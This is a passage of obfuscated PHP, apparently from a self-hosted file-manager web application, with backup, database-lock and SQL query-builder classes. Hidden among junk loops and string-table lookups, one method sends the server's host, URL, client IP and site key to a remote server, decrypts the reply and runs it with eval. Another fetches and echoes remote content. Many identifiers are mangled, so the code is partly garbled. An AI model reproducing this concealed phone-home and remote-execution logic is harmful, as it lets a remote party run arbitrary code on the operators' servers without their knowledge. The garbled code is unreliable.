(strlen($ʂ) < $÷[394]) { return; } } private function wvjz210bbddd() { $ѱ =& $_SERVER[]; $׍ =& $_SERVER[⼦]; $Ձ = array($׍[243], $׍[244], $׍[245]); $ƒ = $׍[246] . md5($׍[247]); if ($this->lszh062d97ab == $׍[104] || !_get($GLOBALS, $׍[113])) { return; } if (!in_array($_SERVER[$׍[24]], $Ձ)) { return; } if (time() % 4 != 0) { return; } $ = call_user_func(array($׍[248], $׍[249]), $ƒ); if ($ && time() - $ < intval($׍[250])) { return; } call_user_func(array($׍[248], $׍[133]), $ƒ, time()); $ = $ѱ[674]; $ = Model($׍[33])->get($׍[101]); $ = array($׍[145] => Model($׍[33])->get($׍[181]), $׍[158] => $this->lszh062d97ab, $׍[155] => $_SERVER[$׍[156]], $׍[157] => Model($׍[33])->get($׍[125]), $׍[99] => md5($_SERVER[$׍[100]] . $), $׍[148] => $׍[130], $׍[151] => $_SERVER[$׍[152]]); $ʠ = $ѱ[675]; $Ж = $this->vfna16763856($׍[251], $); $ = $ѱ[676]; if (!$) { return; } if (!is_array($Ж)) { return; } if ($Ж[$׍[145]] && $Ж[$׍[252]]) { if ($this->oudff095d4ba($Ж[$׍[252]]) == $[$׍[145]]) { return; } } $this->fnuo1fb2d5cf(); if ($this->oudff095d4ba($Ж[$׍[252]]) != $[$׍[145]]) { $ڪʒ = array($׍[176] => $, $׍[177] => $_SERVER[$׍[100]], $׍[178] => this_url(), $׍[153] => $_SERVER[$׍[154]]); $֦ = $this->nmyp731ec7bd(json_encode($ڪʒ)); $Ж = $this->vfna16763856($׍[179] . $֦); if ($Ж && is_array($Ж) && isset($Ж[$׍[252]])) { $ = $this->clzsecc6a5df($Ж[$׍[252]], 2); if ($) { $ = $this->oudff095d4ba($); } if ($) { try { @eval($); } catch (Exception $ܠ) { } } } } } private function vfna16763856($ѱ = '', $ = array(), $ơ = 5) { $݆ =& $_SERVER[]; $ê =& $_SERVER[⼦]; $ = $ê[253]; $ = $this->ojsw706dbb57($, $ê[254]); $ = $ . $ѱ; if ($ && is_array($)) { $ = $ . $ê[255] . http_build_query($); } if ($ === -1) { return $; } $ = stream_context_create(array($ê[213] => array($ê[216] => $ơ, $ê[214] => $ê[256]), $ê[257] => array($ê[258] => !1, $ê[259] => !1))); $ڈ = $݆[677]; if (strlen($ڈ) < $݆[617]) { return; } $ = @file_get_contents($, !1, $); return json_decode($, !0); $Ѳ = $݆[678]; $ٖ = $݆[679]; } private function hdxu117184c0() { $ڰ =& $_SERVER[]; $њ =& $_SERVER[⼦]; $Ӄ = array($њ[260] => $њ[261], $њ[262] => $њ[263], $њ[264] => $њ[265], $њ[266] => $њ[267], $њ[268] => $њ[269], $њ[270] => $њ[207], $њ[271] => $њ[207], $њ[272] => $њ[261], $њ[273] => $њ[263], $њ[274] => $њ[265], $њ[275] => $њ[276], $њ[277] => $њ[267], $њ[278] => $њ[279], $њ[280] => $њ[269], $њ[281] => $њ[282], $њ[283] => $њ[284], $њ[285] => $њ[286]); $ž = $ڰ[680]; while ($ž < $ڰ[613]) { if ($ž >= 0) { break; } $ž++; } $ˈ = $Ӄ[$this->lszh062d97ab]; $쵌ѧ = $ڰ[681]; $ˈ = intval($ˈ ? $ˈ : $њ[261]); $ύ = _get($this->vwzf0fa51ad4, $њ[287]); $ = $ڰ[682]; while ($ < $ڰ[394]) { if ($ >= 0) { break; } $++; } $ύ = $ύ ? intval($ύ) : 0; $ɶ = $ڰ[683]; if (strlen($ɶ) < $ڰ[613]) { return; } return $ˈ + $ύ; } public function zodkd0c3a1e7($Υʤ) { $ =& $_SERVER[]; $ =& $_SERVER[⼦]; $߿ = $this->hdxu117184c0(); $߷ = $[684]; while ($߷ < $[624]) { if ($߷ >= 0) { break; } $߷++; } if ($Υʤ[$[288]] == $[191]) { return; } if ($߿ >= intval($[207])) { return; } $俳 = Model($[119])->count(); $Ä = $[685]; if (!$Ä) { return; } if ($俳 <= $߿) { return; } $ = Model($[119])->field($[288])->limit($߿)->select(); $ר = $[686]; if (!$ר) { die; } $ = array_to_keyvalue($, $[6], $[288]); $Ԧ = $[687]; if (!in_array($Υʤ[$[288]], $)) { show_json($[289], !1, $[203]); } } public function isqr4a4e4122() { $ =& $_SERVER[]; $DZ =& $_SERVER[⼦]; if (!_get($GLOBALS, $DZ[113]) || mt_rand(1, 100) > 20) { return; } $ = $DZ[211]; $ = $this->ojsw706dbb57($, $DZ[212]); $ց = $[688]; while ($ց < $[607]) { if ($ց >= 0) { break; } $ց++; } $ = stream_context_create(array($DZ[213] => array($DZ[214] => $DZ[215], $DZ[216] => 3))); $랹 = @file_get_contents($, !1, $); echo $DZ[290] . hash_encode($랹) . $DZ[291]; $ҍ = $[689]; if (!$ҍ) { die; } } private function zphbbfae25ca($Ȗ־, $Ǚ, $ = 3) { $ޅ =& $_SERVER[]; $ =& $_SERVER[⼦]; usleep(1); $Ȗ־ = trim($Ȗ־); $ = $ޅ[690]; $ľ = mt_rand(0, 5) . $[6]; $ = $ޅ[691]; if (strlen($) < $ޅ[617]) { return; } $ڀ = rand_string(15); $ = $ޅ[692]; if (strlen($) < $ޅ[394]) { die; } $· = $[292]; switch ($ľ) { case $[199]: $ = $this->yasq46999d1f($Ȗ־, strrev($Ǚ . $ڀ)); break; case $[191]: $ = $this->yasq46999d1f($Ȗ־, strrev($ڀ . $Ǚ)); break; $ = $ޅ[693]; while ($ < $ޅ[613]) { if ($ >= 0) { break; } $++; } case $[293]: $ = $this->yasq46999d1f($Ȗ־, base64_encode($ڀ . $Ǚ)); $ͺ = $ޅ[694]; if (!$ͺ) { return; } break; $矿 = $ޅ[695]; case $[294]: $ = $this->yasq46999d1f($Ȗ־, md5($ڀ . $Ǚ)); $䙬 = $ޅ[696]; if (!$䙬) { die; } break; $ = $ޅ[697]; while ($ < $ޅ[624]) { if ($ >= 0) { break; } $++; } case $[295]: $Ȗ־ = base64_encode($Ȗ־); $٨ = rand(0, 64); $ב = $·[$٨]; $ = $ޅ[698]; if (strlen($) < $ޅ[607]) { return; } $ת = md5($ב . md5($Ǚ . $ב) . $Ǚ); $ = $ޅ[699]; $ת = substr($ת, $٨ % 8, $٨ % 8 + 7); $ = $[6]; $ = 0; $ = $ޅ[700]; if (strlen($) < $ޅ[613]) { return; } $ = 0; $С = $ޅ[701]; $ = 0; for ($ = 0; $ < strlen($Ȗ־); $++) { $ = $ == strlen($ת) ? 0 : $; $ = ($٨ + strpos($·, $Ȗ־[$]) + ord($ת[$++])) % 64; $ = $ޅ[702]; $ .= $·[$]; } $ = hash_encode($ב . $); $֗ = $ޅ[703]; break; default: $ = $this->yasq46999d1f($Ȗ־, $Ǚ . $ڀ); $Ǹ = $ޅ[704]; if (strlen($Ǹ) < $ޅ[607]) { return; } break; } $ = strrev($ľ . $ڀ . $); $ϊ = $ޅ[705]; if ($ - 1 > 0) { $ = $this->zphbbfae25ca($, $Ǚ, $ - 1); } return $; } private function clzsecc6a5df($ڒ؆, $, $ = 3) { $ֱ =& $_SERVER[]; $ =& $_SERVER[⼦]; if (!is_string($ڒ؆) || strlen($ڒ؆) < 10) { return !1; } $ڒ؆ = trim($ڒ؆); $Ʋ = $ֱ[706]; $ڒ؆ = strrev($ڒ؆); $ = $ֱ[707]; while ($ < $ֱ[613]) { if ($ >= 0) { break; } $++; } $ = $ڒ؆[0]; $ִ = substr($ڒ؆, 1, 15); $ם = $ֱ[708]; while ($ם < $ֱ[607]) { if ($ם >= 0) { break; } $ם++; } $ڒ؆ = substr($ڒ؆, 16); $ = $ֱ[709]; $ = $[292]; switch ($) { case $[199]: $ = $this->ojsw706dbb57($ڒ؆, strrev($ . $ִ)); break; case $[191]: $ = $this->ojsw706dbb57($ڒ؆, strrev($ִ . $)); break; case $[293]: $ = $this->ojsw706dbb57($ڒ؆, base64_encode($ִ . $)); break; case $[294]: $ = $this->ojsw706dbb57($ڒ؆, md5($ִ . $)); $ð = $ֱ[710]; while ($ð < $ֱ[624]) { if ($ð >= 0) { break; } $ð++; } break; case $[295]: $ڒ؆ = hash_decode($ڒ؆); $ = $ڒ؆[0]; $ڒ؆ = substr($ڒ؆, 1); $ְ = $ֱ[711]; if (strlen($ְ) < $ֱ[607]) { die; } $͙ = strpos($, $); $듭 = md5($ . md5($ . $) . $); $듭 = substr($듭, $͙ % 8, $͙ % 8 + 7); $ = $[6]; $̕ = 0; $Ŏ = 0; $鸍 = $ֱ[712]; if (strlen($鸍) < $ֱ[624]) { return; } $ = 0; for ($̕ = 0; $̕ < strlen($ڒ؆); $̕++) { $ = $ == strlen($듭) ? 0 : $; $ = $++; $ۺ = $ֱ[713]; while (strlen($ۺ) < $ֱ[613]) { if (!$ۺ) { break; } $ۺ++; } $Ŏ = strpos($, $ڒ؆[$̕]) - $͙ - ord($듭[$]); $ԯ = $ֱ[714]; if (strlen($ԯ) < $ֱ[624]) { return; } while ($Ŏ < 0) { $Ŏ += 64; } $ .= $[$Ŏ]; } $ = base64_decode($); break; default: $ = $this->ojsw706dbb57($ڒ؆, $ . $ִ); $ = $ֱ[715]; while (strlen($) < $ֱ[617]) { if (!$) { break; } $++; } break; } if ($ - 1 > 0) { $ = $this->clzsecc6a5df($, $, $ - 1); } return $; } public function nmyp731ec7bd($ސ) { $Ѧ =& $_SERVER[]; $ =& $_SERVER[⼦]; $҈ = $this->dwrp65a385e0(); $ּ = $Ѧ[716]; if (strlen($ּ) < $Ѧ[607]) { return; } $ = $this->dwrp65a385e0(); $ѵ = $Ѧ[717]; if (strlen($ѵ) < $Ѧ[607]) { return; } $ě = ($҈ - 1) * ($ - 1); $؆ = $Ѧ[718]; if (!$؆) { die; } $ᵟ = intval(($҈ + $) / 2); $ް = $Ѧ[719]; while (1) { $ľ = $ᵟ; $䊳Ͻ = $Ѧ[720]; if (strlen($䊳Ͻ) < $Ѧ[607]) { die; } $ = $ě; $漑 = $Ѧ[721]; if (!$漑) { return; } while ($ % $ľ != 0) { $؇ = $; $ = $Ѧ[722]; if (strlen($) < $Ѧ[607]) { return; } $ = $ľ; $ڵ = $Ѧ[723]; while (strlen($ڵ) < $Ѧ[394]) { if (!$ڵ) { break; } $ڵ++; } $ľ = $؇ % $ľ; $ٖ = $Ѧ[724]; while (strlen($ٖ) < $Ѧ[607]) { if (!$ٖ) { break; } $ٖ++; } } if ($ľ == 1) { break; } else { $ᵟ++; } } $א = 2; for ($Ӛ = 0; $Ӛ < $ě * 10; $Ӛ++) { if (($ě * $Ӛ + 1) % $ᵟ == 0) { $א = intval(($ě * $Ӛ + 1) / $ᵟ); break; } } $垭 = $this->yasq46999d1f($҈ * $ . $[6], $[130]); $̫ = md5($[296] . ($҈ + $) . $[297] . $ᵟ . $[297] . $א . $[298]); $􎆍 = $this->yasq46999d1f($ސ, $̫) . $[299] . $垭; $ڄ = $Ѧ[725]; while (strlen($ڄ) < $Ѧ[617]) { if (!$ڄ) { break; } $ڄ++; } return $􎆍; } public function oudff095d4ba($گ) { $ =& $_SERVER[]; $ţ =& $_SERVER[⼦]; $ƻ܇ = explode($ţ[299], $گ); $׉ = $[726]; while ($׉ < $[394]) { if ($׉ >= 0) { break; } $׉++; } if (count($ƻ܇) != 2) { return $ţ[6]; } $ܞ = $this->ojsw706dbb57($ƻ܇[1] . $ţ[6], $ţ[130]); $⯤ = $[611]; if (!$⯤) { die; } if (!$ܞ) { return $ţ[6]; } $ܞ = intval($ܞ); $ = $[727]; if (!$) { return; } $㐽ӑ = 0; $ư = 0; $񇬊 = $[728]; while ($񇬊 < $[624]) { if ($񇬊 >= 0) { break; } $񇬊++; } for ($ = 3; $ < $ܞ; $ += 2) { if ($ܞ % $ != 0) { continue; } $㐽ӑ = $; $ƨ = $[729]; while ($ƨ < $[617]) { if ($ƨ >= 0) { break; } $ƨ++; } $ư = intval($ܞ / $); break; } $˄Й = ($㐽ӑ - 1) * ($ư - 1); $姷 = intval(($㐽ӑ + $ư) / 2); while (1) { $ = $姷; $ǮԪ = $[730]; while ($ǮԪ < $[624]) { if ($ǮԪ >= 0) { break; } $ǮԪ++; } $ = $˄Й; while ($ % $ != 0) { $ٍʚ = $; $׌ = $[731]; if (!$׌) { die; } $ = $; $ʟ = $[732]; if (strlen($ʟ) < $[394]) { return; } $ = $ٍʚ % $; $ = $[733]; if (strlen($) < $[607]) { return; } } if ($ == 1) { break; } else { $姷++; } } $ = 2; $ = $[734]; for ($ = 0; $ < $˄Й * 10; $++) { if (($˄Й * $ + 1) % $姷 == 0) { $ = intval(($˄Й * $ + 1) / $姷); break; } } $ɥ = md5($ţ[296] . ($㐽ӑ + $ư) . $ţ[297] . $姷 . $ţ[297] . $ . $ţ[298]); $缀 = $[735]; if (!$缀) { return; } $߫ = $this->ojsw706dbb57($ƻ܇[0], $ɥ); $Ӆ = $[736]; if (!$Ӆ) { die; } return $߫; } public function dwrp65a385e0() { $ =& $_SERVER[]; $ = mt_rand(pow(2, 14), pow(2, 16) - 1); $݅ = array(); $ = $[737]; if (!$) { return; } $ = 1; $׬ = $[738]; if (strlen($׬) < $[613]) { die; } while ($ <= (int) sqrt($)) { $ = $; while (!0) { $++; $Ąޣ = $[739]; if (strlen($Ąޣ) < $[624]) { return; } if ($ <= 2) { $ = $; break; } else { if ($ < 2) { continue; } } $IJނ = !0; for ($ = 2; $ <= sqrt($); $++) { if ($ % $ == 0) { $IJނ = !1; } } if ($IJނ) { $ = $; break; } } $݅[] = $; } $ۭ = 2; for ($ = $; $ > 1; $--) { $IJނ = !0; foreach ($݅ as $݌) { if ($ % $݌ == 0) { $IJނ = !1; break; } } if ($IJނ) { $ۭ = $; break; } } return $ۭ; } public function sfcv795af8c0($, $) { $߄ =& $_SERVER[]; $œɍ =& $_SERVER[⼦]; return call_user_func(array($œɍ[8], $œɍ[300]), $, $); $ = $߄[740]; while ($ < $߄[607]) { if ($ >= 0) { break; } $++; } } public function yasq46999d1f($ċ, $) { $ =& $_SERVER[⼦]; return call_user_func(array($[301], $[302]), $ċ, $); } public function ojsw706dbb57($ٗ, $Λ) { $ =& $_SERVER[⼦]; return call_user_func(array($[301], $[303]), $ٗ, $Λ); } } class Backup { protected static $name; protected static $option; protected static $manual; public function __construct() { $this->init(); $this->keep(); } public function init() { $條 =& $_SERVER[]; $this->isManual(); self::$name = date($條[741]); if (!($ = Model($條[742])->lastItem())) { $ = $this->initData(); } else { self::$name = $[$條[32]]; if ($[$條[743]] == $條[89]) { self::$name = date($條[744]); $ = 0; if (isset($[$條[288]][$條[192]][$條[467]])) { $ = (int) $[$條[288]][$條[192]][$條[467]]; } if (self::$manual == 0 && $[$條[32]] == self::$name) { Model($條[742])->remove($[$條[401]]); } $ = $this->initData($, $[$條[745]]); } else { $this->checkStore($[$條[745]]); } } self::$option = $; } private function isManual() { $򯞜 = _get($GLOBALS, $_SERVER[][746], 0); $򯞜 = intval($򯞜); self::$manual = $򯞜 && $򯞜 == 1 ? 1 : 0; } private function initData($ = 0, $Č = '') { $ =& $_SERVER[]; $ = Model($[742])->config(); if ($Č && $[$[745]] != $Č) { $ = 0; } $this->checkStore($[$[745]]); if (self::$manual == 1) { self::$name .= $[11] . date($[747]); } $ڤ = array($[745] => $[$[745]], $[32] => self::$name, $[743] => 0, $[748] => $[$[748]], $[749] => self::$manual, $[288] => array($[750] => array($[743] => 0), $[751] => array($[743] => 0, $[752] => 0, $[753] => 0, $[33] => $[12], $[754] => 0, $[496] => 0), $[755] => array($[743] => 0, $[752] => 0, $[753] => 0, $[754] => 0, $[496] => 0), $[192] => array($[743] => 0, $[756] => 0, $[757] => 0, $[758] => 0, $[759] => 0, $[467] => $, $[754] => 0, $[496] => 0)), $[754] => time(), $[496] => 0); $ = Model($[742])->insert($ڤ); $ڤ[$[401]] = $; return $ڤ; } private function checkStore($ْ) { $ƞ =& $_SERVER[]; $ɓ߆ = Model($ƞ[760])->listData($ْ); Model($ƞ[760])->checkConfig($ɓ߆); } public static function get() { if (!self::$option) { self::$option = Model($_SERVER[][742])->findByName(self::$name); } return self::$option; } public static function set($늙) { $֍ =& $_SERVER[]; $޿Ԉ = self::get(); foreach ($늙 as $ => $) { $ = explode($֍[10], $); $ = count($); switch ($) { case 1: $޿Ԉ[$[0]] = $; break; case 2: $޿Ԉ[$[0]][$[1]] = $; break; case 3: $޿Ԉ[$[0]][$[1]][$[2]] = $; break; } } Model($֍[742])->update($޿Ԉ[$֍[401]], $޿Ԉ); self::$option = $޿Ԉ; return self::$option; } public function keep() { $ޔ =& $_SERVER[]; $赥 = self::get(); if ($赥[$ޔ[288]][$ޔ[750]][$ޔ[743]] == $ޔ[89]) { return; } $this->backupKeep($赥); self::set(array($ޔ[761] => 1)); } private function backupKeep($) { $ =& $_SERVER[]; if (self::$manual == 1) { return; } $̽ = Model($[742])->listData(); if (empty($̽)) { return; } $ = 0; $ = array(); foreach ($̽ as $) { if ($ >= 7) { break; } $[] = $[$[32]]; $++; } for ($ = 0; $ < 12; $++) { $[] = date($[762], strtotime("\x2d{$}\x20\155\157\x6e\164\150\x73")); } $ = array_unique($); $˄ = Model($[763])->get($[764]); foreach ($̽ as $) { if (isset($[$[749]]) && $[$[749]] == $[89]) { continue; } if (!empty($[$[32]]) && in_array($[$[32]], $)) { continue; } Model($[742])->remove($[$[401]]); $▜ = $this->backupPath($, $˄); IO::remove($▜, !1); } } private function backupPath($Ў, $䆎 = false) { $ =& $_SERVER[]; if (!$䆎) { $䆎 = Model($[763])->get($[764]); } $ވ = $Ў[$[32]]; $ʜ = substr(md5($[765] . $䆎 . $ވ), 0, 8); return "\x7b\x69\157\72{$Ў[$[745]]}\175\57\x64\x61\164\141\x62\141\x73\145\x2f\142\x61\x63\153\165\160\x2f" . $ވ . $[11] . $ʜ; } public function db() { $؊ =& $_SERVER[]; $ީ = self::get(); if ($ީ[$؊[288]][$؊[751]][$؊[743]] == $؊[89]) { return !0; } $ = new BackupDb(); if (!$->index()) { return !1; } self::set(array($؊[766] => 1)); return !0; } public function dbFile() { $Յ =& $_SERVER[]; $ = self::get(); if ($[$Յ[288]][$Յ[755]][$Յ[743]] == $Յ[89]) { return !0; } $ = new BackupDbFile(); if (!$->index()) { return !1; } self::set(array($Յ[767] => 1)); return !0; } public function file() { $脬 =& $_SERVER[]; $ = self::get(); if ($[$脬[288]][$脬[192]][$脬[743]] == $脬[89]) { return !0; } if (!isset($[$脬[748]]) || $[$脬[748]] == $脬[190]) { $ = new BackupFile(); if (!$->index()) { return !1; } } self::set(array($脬[768] => 1, $脬[743] => 1)); return !0; } } goto D; Fƪʏ: class DbSqlite extends DbSqliteBase { public function query($㙶) { $ܣ =& $_SERVER[]; if (!CacheLock::fileLock($ܣ[13])) { return !1; } $­ = parent::query($㙶); CacheLock::fileUnLock($ܣ[13]); return $­; } public function execute($) { $ʄ =& $_SERVER[]; if (!CacheLock::fileLock($ʄ[13])) { return !1; } $֊ = parent::execute($); CacheLock::fileUnLock($ʄ[13]); return $֊; } } class DbSqlite3 extends DbSqlite3Base { public function query($ű) { $Ƹ =& $_SERVER[]; if (!CacheLock::fileLock($Ƹ[13])) { return !1; } $۬՜ = parent::query($ű); CacheLock::fileUnLock($Ƹ[13]); return $۬՜; } public function execute($) { $Ҋ =& $_SERVER[]; if (!CacheLock::fileLock($Ҋ[13])) { return !1; } $ = parent::execute($); CacheLock::fileUnLock($Ҋ[13]); return $; } } class Db { protected $dbType = null; protected $autoFree = false; protected $model = "\137\x74\x68\151\x6e\x6b\x5f"; protected $pconnect = false; protected $queryStr = ''; protected $modelSql = array(); protected $lastInsID = null; protected $numRows = 0; protected $numCols = 0; protected $transTimes = 0; protected $error = ''; protected $linkID = array(); protected $_linkID = null; protected $queryID = null; protected $connected = false; protected $config = ''; protected $configLast = ''; protected $exp = array("\145\x71" => "\75", "\156\145\x71" => "\x3c\76", "\x67\x74" => "\x3e", "\145\147\x74" => "\x3e\x3d", "\154\x74" => "\74", "\145\x6c\x74" => "\x3c\x3d", "\156\x6f\x74\154\x69\153\145" => "\x4e\117\124\x20\114\111\113\x45", "\154\x69\x6b\x65" => "\x4c\111\113\x45", "\x69\156" => "\111\116", "\156\x6f\164\x69\x6e" => "\116\117\124\40\111\116", "\x6e\x6f\x74\x20\x69\x6e" => "\116\x4f\124\40\111\116", "\142\x65\x74\x77\145\x65\x6e" => "\x42\x45\x54\127\105\x45\x4e", "\x6e\x6f\164\142\145\x74\167\x65\145\x6e" => "\116\117\124\x20\102\105\124\x57\x45\x45\x4e", "\x6e\157\164\40\142\145\x74\x77\x65\x65\156" => "\x4e\x4f\124\x20\102\105\124\x57\x45\x45\x4e"); protected $selectSql = "\123\x45\114\105\103\124\x25\104\111\123\x54\x49\116\x43\x54\x25\40\x25\x46\111\x45\114\x44\x25\40\106\x52\x4f\115\40\45\x54\101\x42\114\105\45\45\x4a\117\111\116\x25\x25\x57\x48\x45\x52\x45\x25\x25\x47\122\x4f\125\x50\45\45\110\101\x56\x49\x4e\x47\45\45\x4f\122\x44\105\x52\45\45\114\x49\x4d\111\124\x25\x20\x25\125\116\111\x4f\116\x25\x25\103\x4f\x4d\115\105\x4e\x54\x25"; protected $bind = array(); public static function getInstance() { $څ = func_get_args(); return think_get_instance_of(__CLASS__, $_SERVER[][947], $څ); } public function factory($鐺 = '') { $ק =& $_SERVER[]; $鐺 = $this->parseConfig($鐺); if (empty($鐺[$ק[948]])) { think_exception(think_lang($ק[949])); } $this->dbType = ucwords(strtolower($鐺[$ק[948]])); $ = $ק[950] . $this->dbType; if (class_exists($)) { $֮ = new $($鐺); if ($ק[951] != strtolower($鐺[$ק[948]])) { $֮->dbType = strtoupper($this->dbType); } else { $֮->dbType = $this->_getDsnType($鐺[$ק[903]]); } } else { think_exception(think_lang($ק[952]) . $ק[953] . $); } return $֮; } public function __call($, $–) { if (method_exists($this, $)) { return call_user_func_array(array($this, $), $–); } } protected function _getDsnType($և) { $ܮؘ = explode($_SERVER[][4], $և); $݁ = strtoupper(trim($ܮؘ[0])); return $݁; } private function parseConfig($ʵƷ = '') { $ =& $_SERVER[]; if (!empty($ʵƷ) && is_string($ʵƷ)) { $ʵƷ = $this->parseDSN($ʵƷ); } elseif (is_array($ʵƷ)) { $ʵƷ = array_change_key_case($ʵƷ); $ʵƷ = array($[948] => $ʵƷ[$[954]], $[875] => $ʵƷ[$[955]], $[876] => $ʵƷ[$[956]], $[873] => $ʵƷ[$[957]], $[874] => $ʵƷ[$[958]], $[21] => $ʵƷ[$[959]], $[903] => $ʵƷ[$[960]], $[17] => isset($ʵƷ[$[961]]) ? $ʵƷ[$[961]] : array()); } elseif (empty($ʵƷ)) { if (think_config($[962]) && $[951] != strtolower(think_config($[963]))) { $ʵƷ = $this->parseDSN(think_config($[962])); } else { $ʵƷ = array($[948] => think_config($[963]), $[875] => think_config($[964]), $[876] => think_config($[965]), $[873] => think_config($[966]), $[874] => think_config($[967]), $[21] => think_config($[241]), $[903] => think_config($[962]), $[17] => think_config($[968])); } } return $ʵƷ; } protected function initConnect($ = true) { if (1 == think_config($_SERVER[][22])) { $this->_linkID = $this->multiConnect($); } else { if ($this->config) { $this->configLast = $this->config; } } if (!$this->connected) { $this->_linkID = $this->connect(); } } protected function closeConnect() { if (!$this->connected) { return; } foreach ($this->linkID as $ => $ᒢ) { $this->_linkID = $ᒢ; $this->close(); } $this->linkID = array(); $this->_linkID = null; $this->connected = !1; if (!$this->config && $this->configLast) { $this->config = $this->configLast; } } protected function multiConnect($聼 = false) { $ԓ =& $_SERVER[]; static $ͩ = array(); static $ʥ = -1; if (empty($ͩ)) { foreach ($this->config as $Ҫ => $Ц) { $ͩ[$Ҫ] = explode($ԓ[50], $Ц); } } if (think_config($ԓ[969])) { if ($聼 || think_config($ԓ[388]) === !0) { $ = floor(mt_rand(0, think_config($ԓ[970]) - 1)); $ʥ = $; } else { if (is_numeric(think_config($ԓ[971]))) { $ = think_config($ԓ[971]); } else { $ = floor(mt_rand(think_config($ԓ[970]), count($ͩ[$ԓ[873]]) - 1)); } } } else { $ = floor(mt_rand(0, count($ͩ[$ԓ[873]]) - 1)); $ʥ = $; } $ = $ʥ !== -1 ? $ʥ : $; $ = array($ԓ[875] => isset($ͩ[$ԓ[875]][$]) ? $ͩ[$ԓ[875]][$] : $ͩ[$ԓ[875]][0], $ԓ[876] => isset($ͩ[$ԓ[876]][$]) ? $ͩ[$ԓ[876]][$] : $ͩ[$ԓ[876]][0], $ԓ[873] => isset($ͩ[$ԓ[873]][$]) ? $ͩ[$ԓ[873]][$] : $ͩ[$ԓ[873]][0], $ԓ[874] => isset($ͩ[$ԓ[874]][$]) ? $ͩ[$ԓ[874]][$] : $ͩ[$ԓ[874]][0], $ԓ[21] => isset($ͩ[$ԓ[21]][$]) ? $ͩ[$ԓ[21]][$] : $ͩ[$ԓ[21]][0], $ԓ[903] => isset($ͩ[$ԓ[903]][$]) ? $ͩ[$ԓ[903]][$] : $ͩ[$ԓ[903]][0], $ԓ[17] => isset($ͩ[$ԓ[17]][$]) ? $ͩ[$ԓ[17]][$] : $ͩ[$ԓ[17]][0]); return $this->connect($, $); } public function parseDSN($Бզ) { $ =& $_SERVER[]; if (empty($Бզ)) { return !1; } $¾ = parse_url($Бզ); if ($¾[$[173]]) { $捅ܭ = array($[948] => $¾[$[173]], $[875] => isset($¾[$[594]]) ? $¾[$[594]] : $[12], $[876] => isset($¾[$[972]]) ? $¾[$[972]] : $[12], $[873] => isset($¾[$[174]]) ? $¾[$[174]] : $[12], $[874] => isset($¾[$[175]]) ? $¾[$[175]] : $[12], $[21] => isset($¾[$[78]]) ? substr($¾[$[78]], 1) : $[12]); } else { preg_match($[973], trim($Бզ), $); $捅ܭ = array($[948] => $[1], $[875] => $[2], $[876] => $[3], $[873] => $[4], $[874] => $[5], $[21] => $[6]); } $捅ܭ[$[903]] = $[12]; return $捅ܭ; } protected function debug() { $ۛ =& $_SERVER[]; $this->modelSql[$this->model] = $this->queryStr; $this->model = $ۛ[974]; if (think_config($ۛ[975])) { think_status($ۛ[976]); think_trace($this->queryStr . $ۛ[977] . think_status($ۛ[24], $ۛ[976], 6) . $ۛ[978], $ۛ[12], $ۛ[979]); } } protected function parseLock($쎾 = false) { $Ӯ =& $_SERVER[]; if (!$쎾) { return $Ӯ[12]; } if ($Ӯ[905] == $this->dbType) { return $Ӯ[980]; } return $Ӯ[981]; } protected function parseSet($Ȏ) { $㡠 =& $_SERVER[]; foreach ($Ȏ as $Ҝ̵ => $݂͎) { if (is_array($݂͎) && $㡠[292] == $݂͎[0]) { $֞ڡ[] = $this->parseKey($Ҝ̵) . $㡠[871] . $݂͎[1]; } elseif (is_scalar($݂͎) || is_null($݂͎)) { $֞ڡ[] = $this->parseKey($Ҝ̵) . $㡠[871] . $this->parseValue($݂͎); } } return $㡠[982] . implode($㡠[50], $֞ڡ); } protected function bindParam($, $) { $this->bind[$_SERVER[][4] . $] = $; } protected function parseBind($੦) { $੦ = array_merge($this->bind, $੦); $this->bind = array(); return $੦; } function parseKey(&$߂ǁ, $ = true) { if ($) { $߂ǁ = $this->parseKeyCheck($߂ǁ); } return $߂ǁ; } function parseKeyCheck($Հ) { $ =& $_SERVER[]; $Հ = trim($Հ); if (!preg_match($[983], $Հ)) { think_exception($[984] . $Հ); } return $Հ; } protected function parseValue($籚) { $ӗ =& $_SERVER[]; if (is_string($籚)) { $籚 = $ӗ[944] . $this->escapeString($籚) . $ӗ[944]; } elseif (isset($籚[0]) && is_string($籚[0]) && strtolower($籚[0]) == $ӗ[292]) { $籚 = $this->escapeString($籚[1]); } elseif (is_array($籚)) { $籚 = array_map(array($this, $ӗ[945]), $籚); } elseif (is_bool($籚)) { $籚 = $籚 ? $ӗ[89] : $ӗ[190]; } elseif (is_null($籚)) { $籚 = $ӗ[104]; } return $籚; } protected function parseField($) { $ =& $_SERVER[]; if (is_string($) && strpos($, $[50])) { $ = explode($[50], $); } if (is_array($)) { $ϯ˷ = array(); foreach ($ as $ٱ => $ߌͳ) { if (!is_numeric($ٱ)) { $ϯ˷[] = $this->parseKey($ٱ, !1) . $[985] . $this->parseKey($ߌͳ); } else { $ϯ˷[] = $this->parseKey($ߌͳ); } } $ = implode($[50], $ϯ˷); } elseif (is_string($) && !empty($)) { $ = $; } else { $ = $[181]; } return $; } protected function parseTable($ǜٓ) { $펵 =& $_SERVER[]; if (is_array($ǜٓ)) { $ = array(); foreach ($ǜٓ as $ => $) { if (!is_numeric($)) { $[] = $this->parseKey($) . $펵[53] . $this->parseKey($); } else { $[] = $this->parseKey($); } } $ǜٓ = $; } elseif (is_string($ǜٓ)) { if (strstr($ǜٓ, $펵[53])) { return $ǜٓ; } $ǜٓ = explode($펵[50], $ǜٓ); array_walk($ǜٓ, array($this, $펵[893])); } return $펵[887] . trim(implode($펵[986], $ǜٓ), $펵[380]) . $펵[887]; } protected function parseWhere($–) { $ܷ =& $_SERVER[]; $ = $ܷ[12]; if (is_string($–)) { $ = $–; } else { $⧰Ơ = isset($–[$ܷ[987]]) ? strtoupper($–[$ܷ[987]]) : $ܷ[12]; if (in_array($⧰Ơ, array($ܷ[988], $ܷ[989], $ܷ[990]))) { $⧰Ơ = $ܷ[53] . $⧰Ơ . $ܷ[53]; unset($–[$ܷ[987]]); } else { $⧰Ơ = $ܷ[991]; } foreach ($– as $ => $) { $ .= $ܷ[272]; if (is_numeric($)) { $ = $ܷ[992]; } if (0 === strpos($, $ܷ[11])) { $ .= $this->parseThinkWhere($, $); } else { if (!preg_match($ܷ[993], trim($))) { think_exception(think_lang($ܷ[994]) . $ܷ[4] . $); } $讞 = is_array($) && isset($[$ܷ[995]]); $ = trim($); if (strpos($, $ܷ[278])) { $Ȳ = explode($ܷ[278], $); $ = array(); foreach ($Ȳ as $辮ؗ => $) { $׍ = $讞 